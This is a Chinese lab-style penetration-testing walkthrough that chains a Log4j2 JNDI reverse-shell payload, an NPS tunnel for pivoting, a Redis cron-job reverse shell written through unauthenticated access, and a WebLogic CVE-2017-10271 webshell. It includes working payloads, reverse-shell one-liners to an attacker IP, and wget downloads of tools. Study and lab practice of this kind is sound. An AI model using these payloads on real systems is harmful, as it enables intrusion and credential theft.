nps内网穿透

目录

log4j2

漏洞简介

漏洞原理

漏洞复现

nps配置

redis

漏洞简介

漏洞复现(反弹shell)

漏洞复现(写webshell)

漏洞复现(写ssh公钥实现ssh登录)

weblogic


拓扑图

log4j2

CVE-2021-44228

漏洞简介

Apache log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

影响版本 2.0 <= Apache log4j2 <= 2.14.1

防御:把 Apache log4j2 升级到2.15或之上

漏洞原理

log4j是一款通用日志记录工具,开发人员可以使用log4j对当前程序状态进行记录。

支持JNDI功能模块。该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。

JNDI简单理解就是一组接口,该接口可以调用一些服务。

大部分web服务程序都会对用户输入进行日志记录。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,在这些地方写上 ${jndi:ldap://xxx.dnslog.cn}。

evil服务是黑客自己写的服务(可以是恶意代码),网站执行后,会调用该服务,从而达到执行恶意代码的功能。

漏洞复现

1、打开存在log4j漏洞的网站

2、Kali攻击机上利用JNDI工具包,使用-h参数从查看使用方法,-i指定攻击机ip,-l指定ladp服务器端口,-p指定http服务器端口,-u为payload

3、ip地址填攻击机地址,开启侦听

4、Kali攻击机上利用nc对4449端口进行侦听

5、查看工具payload,找到反弹shell的payload

6、在网站登陆的用户名中输入以下Payload,点击登陆。

${jndi:ldap://160.20.147.118:1389/Basic/ReverseShell/160.20.147.118/4449}

7、获得shell

8、得到/etc/passwd文件的md5值

nps配置

1、开启NPS代理服务器并在靶机上上传NPC回连。这里要先退出JNDI注入工具,因为这个工具和NPS默认都会侦听8080端口。在本地启动nps后,访问127.0.0.1:8080,利用账号密admin/123完成登陆。

2、新增一个客户端,名字可以随意命名

3、利用python在本地侦听一个HTTP服务器,用来供靶机下载fscan、npc等工具

wget http://160.20.147.118:8888/linux_amd64_client.tar.gz 

wget http://160.20.147.118:8888/fscan_amd64

 tar -zxvf linux_amd64_client.tar.gz 

./npc -server=160.20.147.118:8024 -vkey=npmrljmqvvyzxjmg -type=tcp &disown

&disown为后台运行npc

可以看到客户端上线

4、设置socks代理,点击隧道,新增,选择socks代理,设置服务端端口为1080

redis

漏洞简介

redis未授权访问是由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。

条件:redis版本为4.x或 5.0.5及以前的版本;

redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全 策略,直接暴露在公网;

没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞复现(反弹shell)

1、若shell断开,重新使用JNDI会发现8080端口被nps的8080占用了使用以下命令杀掉进程后重新弹shell

2、配置nps代理后,可以访问内网,利用fscan对内网进行扫描,若无权限则先提权

根据扫描的结果可以发现内网中存在redis服务器,并且可以被写入计划任务来反弹shell,同时内网中还存在一台weblogic服务器以及一个ChatNet聊天室。

3、对redis发起攻击,配置代理,以入口点的log4j靶机作为跳板机去攻击内网的服务器

vim /etc/proxychains4.conf

4、攻击机登录redis服务器

proxychains redis-cli -h 192.168.100.101

redis-cli指redis客户端
ip为redis服务器(被攻击的服务器)

5、写入定时任务反弹shell,但是注意这里要把shell弹到log4j的靶机上,因为内部的靶机不出网

get *
flushall
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.100.100/4450 0>&1\n"
config set dir /var/spool/cron
config set dbfilename root
save


代码解释:
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.100.100/4450 0>&1\n"
写计划任务,x为计划任务的名字,双引号里面的为计划任务,ip为log4j靶机的ip,
4450为log4j靶机监听反弹shell的端口,每隔一分钟自动执行命令。

config set dir /var/spool/cron 设置一个写入的目录,redis服务器中存放本地计划任务的目录
config set dbfilename root   设置写入计划任务的文件名为root

6、收到shell,可以使用crontab -l查看目标机器写入的计划任务

7、获取/etc/shadow文件的md5值

漏洞复现(写webshell)

漏洞复现(写ssh公钥实现ssh登录)

weblogic

1、利用cve-2017-10271_webshell.jar工具对weblogic发起攻击

proxychains java -jar cve-2017-10271_webshell.jar http://192.168.100.102:7001 test.jsp

2、配置代理,将内网的192.168.100.101的7001端口映射到本地的1081端口上

3、访问http://127.0.0.1:1081/bea_wls_internal/test.jsp?password=secfree&command=md5sum /etc/sudoers

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值